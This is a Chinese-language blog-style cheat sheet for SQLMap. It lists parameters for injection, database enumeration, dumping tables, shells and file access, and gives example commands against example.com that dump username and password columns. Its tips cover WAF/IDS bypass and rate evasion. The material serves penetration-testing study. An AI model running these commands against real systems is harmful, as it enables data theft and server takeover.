SQLMap常用命令指南(参数及其用法)

一、SQLMap 简介

SQLMap 是一款开源的自动化 SQL 注入工具,广泛应用于检测和利用 Web 应用程序的 SQL 注入漏洞。它支持多种数据库类型(如 MySQL、PostgreSQL、MSSQL、Oracle 等),并提供了丰富的参数以应对各种注入场景。


二、常用命令速查

2.1 目标指定

命令 说明
-u <URL> 指定目标 URL
-d <DB连接> 直接连接数据库
-l <文件> 从 Burp 日志中读取目标
-r <文件> 从 HTTP 请求文件中读取目标
-g <Google语法> 使用 Google 搜索结果作为目标
-c <配置文件> 读取配置文件执行

2.2 数据库枚举

命令 说明
--dbs 列出所有数据库
--current-db 列出当前数据库
--tables 列出当前数据库的所有表
--columns 列出指定表的所有列
--dump 导出表中数据
-D <库名> 指定数据库
-T <表名> 指定表
-C <列名> 指定列

2.3 请求与注入

命令 说明
--data=<数据> 指定 POST 数据
--method=<方法> 指定 HTTP 方法
--cookie=<Cookie> 指定 Cookie
--user-agent=<UA> 指定 User-Agent
--referer=<Referer> 指定 Referer
--headers=<头信息> 添加额外请求头
--proxy=<代理> 使用代理
--delay=<秒> 设置请求延迟
--timeout=<秒> 设置超时时间
--tamper=<脚本> 使用篡改脚本绕过 WAF

2.4 检测与优化

命令 说明
--level=<1-5> 设置检测等级(默认1)
--risk=<0-3> 设置风险等级(默认1)
--smart 启发式检测,节省时间
--batch 自动确认,无需交互
--threads=<数> 设置线程数(最大10)
--random-agent 使用随机 User-Agent

2.5 高级功能

命令 说明
--os-shell 尝试获取系统 Shell
--file-read=<文件> 读取数据库服务器文件
--file-write=<文件> 写入文件到服务器
--os-cmd=<命令> 执行操作系统命令
--sql-query=<SQL> 执行自定义 SQL 语句
--sql-shell 交互式 SQL Shell

三、常用操作示例

3.1 基本注入流程

复制代码
sqlmap -u "http://example.com/page?id=1" --batch --dbs
sqlmap -u "http://example.com/page?id=1" -D dbname --tables
sqlmap -u "http://example.com/page?id=1" -D dbname -T users --columns
sqlmap -u "http://example.com/page?id=1" -D dbname -T users -C username,password --dump

3.2 POST 注入

复制代码
sqlmap -u "http://example.com/login" --data="username=admin&password=pass" --forms
复制代码
sqlmap -u "http://example.com/dashboard" --cookie="session=abc123" --level=2

四、检测等级与风险等级说明

--level 参数

  • 1:默认等级,测试 GET 和 POST 参数

  • 2:增加 Cookie 检测

  • 3:增加 User-Agent 和 Referer 检测

  • 4:增加 Host 头检测

  • 5:全量检测

--risk 参数

  • 1:默认,大多数测试语句

  • 2:增加基于时间的盲注测试

  • 3:增加 OR 型注入测试


五、小贴士

  • 使用 --batch 可避免交互式确认,适合自动化;

  • 使用 --tamper 可绕过简单的 WAF/IDS;

  • 使用 --delay--threads 可控制请求频率,避免被封;

  • 结合 Burp Suite 抓包后使用 -r 参数进行注入测试非常方便。


六、总结

SQLMap 是安全测试中不可或缺的工具之一,熟练掌握其常用参数和场景组合,可以极大提升渗透测试效率。本文列举的指令覆盖了大部分常用场景,建议结合实际靶场练习,加深理解。

相关推荐
北'辰7 小时前
VMware安装Kali-Linux
linux·网络安全
盛满暮色 风止何安11 小时前
防火墙的类别和登录Web的方法
linux·运维·服务器·网络·网络协议·tcp/ip·网络安全
编程充电站pro11 小时前
SQL 索引速查:CREATE / DROP / SHOW INDEX 用法全解
数据库·sql
.YYY14 小时前
My SQL--创建数据库、表
数据库·sql
不剪发的Tony老师14 小时前
Apache Drill:一款开源的分布式SQL查询引擎
大数据·sql·apache drill
初听于你15 小时前
MySQL数据库面试高频问题及解析
数据库·sql·mysql·oracle·面试
TDengine (老段)16 小时前
TDengine 数学函数 ASIN() 用户手册
大数据·数据库·sql·物联网·时序数据库·tdengine·涛思数据
风语者日志1 天前
CTF攻防世界WEB精选基础入门:command_execution
web安全·网络安全·ctf·小白入门
weixin_438077491 天前
langchain官网翻译:Build a Question/Answering system over SQL data
数据库·sql·langchain·agent·langgraph